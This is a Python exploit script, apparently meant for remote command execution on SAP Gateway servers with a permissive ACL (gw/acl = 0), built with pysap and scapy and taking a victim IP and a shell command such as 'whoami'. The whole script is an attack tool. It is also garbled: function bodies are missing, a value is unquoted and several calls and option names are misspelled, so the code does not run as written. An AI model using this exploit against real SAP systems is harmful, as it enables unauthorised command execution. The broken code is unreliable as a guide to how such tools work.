from pysap.SAPRFC import SAPRFC,SAPRFCDTStruct,SAPCPIC,SAPRFCTHStruct,SAPRFXPG,SAPCPICSUFFIX,cpic_padd,SAPCPICPARAM,SAPCPICPARAM2,SAPRFCEXTEND,SAPCPIC2,SAPRFCXPG_END

from pysap.SAPRouter import SAPRoutedString #router string /H/IP_Address/S/service_port/W/PassWord

from pysap.SAPNI import SAPNIStreamSocket

from ansicolor import red,green,blue,yellow,cyan,magneta

from pysap.SAPNI import SAPNI,SAPNIStreamSocket

from pysap.SAPDiag import SAPDiag,SAPDIAGItem

from scapy.supersocket import SAPNIStreamSocket

from scapy.layers.inet import TCP,raw

from scapy.config import config

from struct import *

import argparse

import logging

import socket

import sys

help_desc = '''

RCE via SAP GW ACL sec_info (gw/acl = 0) or has insecure configuration

'''

###GLOBAL VALUES

cmd_lparams=''

cmd_params=''

#target to hack

attacked_gw = {"ip" : 127.0.0.1,"sid":'CE3',"instance":'00',"hostname":'SVUPHEBRPBR',"dest_name":'T_75',"cli_nbr":'001',"kernel":'749'}

########

def build_p1(ip,inbr):

p1 = SAPRFC(version=2,req_type='GW_NORMAL_CLIENT',address=ip,service='sapgw{}'.format(inbr),codepage=4103,lu='sapserve',tp='sapgw{}'.format(inbr),conversation_id=''*8,appc_header_version=6,accept_info='EINFO+PING+CONN_EINFO',idx=-1,)

return p1

def build_p2():

return p2

def build_p3(conv_id):

return p3

def build_p4(conv_id):

)

def gw_connect(gwhost,gwport,init_packet):

return s

def init_logger(logname,level):

return logger

def handle_resp(r,pkt):

logger.info('Response: OK')

def parse_fields(pkt,lines):

return result

def parce_answer(r):

return '\n'.join(result)

if __name__ == '__main__':

parser = argparse.ArgumentParser(description=help_desc,formatter_calss=argparse.RawTextHelpFormatter)

parser.add_argument('-t','--1p',default='196.168.50.46',help='victim ip (default:196.168.50.46)

parser.add_argument('-p','--port',default='3300',type=int,help='Gateway port')

parser.add_argument('-s','--sid',default='CE3',help='SAP VICTIM ')

parser.add_argument('-I','--instance',default='00',help='SAP targetted instance')

parser.add_argument('-c','--cmd',default='whoami',help='command that be executed')

parser.ddd_argument('-d','--debug',action='store true',help='show debug info')

parser.add_argument('-q','--quite',action='store_true',help='Dont show any info')

args = parser.parse_args()

prog = 'anonGw2'

if args.quite:

logger = init_logger(prog, logging.NOTSET)

elif args.debug:

logger = init_logger(prog, logging.DEBUG)

else:

logger = init_logger(prog,logging.INFO)

# setup the target

attacked_gw['ip'] = args.ip

attacked_gw['port'] = args.port

attacked_gw['sid'] =args.sid

attacked_gw['instance'] = args.instance

cmd = args.cmd.split()[0]

cmd_params = args.cmd[len(cmd) + 1:]

conf.L3Socket = StreamSocket

bind_layers(TCP,SAPNI)

bind_layers(SAPNI,SAPRFC)

#1 -send GW_NORMAL_CLIENT

s = gw_connect(attacked_gw['ip'],attacked_gw['port'],build_p1(attacked_gw['ip'],attacked_gw['instance']))

#2-send F_SAP_INIT

logger.info("[+] Sending F_SAP_INIT")

r = s.sr(build_p2())

handle_resp(r,"F_SAP_INIT")

conv_id = r['SAPRFC'].conv_id

logger.debug('Got conv_id = {}'.format(conv_id))

#3 send F_SAP_SEND2

logger.info("[+] Sending F_SAP_SEND2")

r = s.sr(build_p3(conv_id))

#handle_resp(r,"F_SAP_SEND2)

#Print result

print parce_answer(r)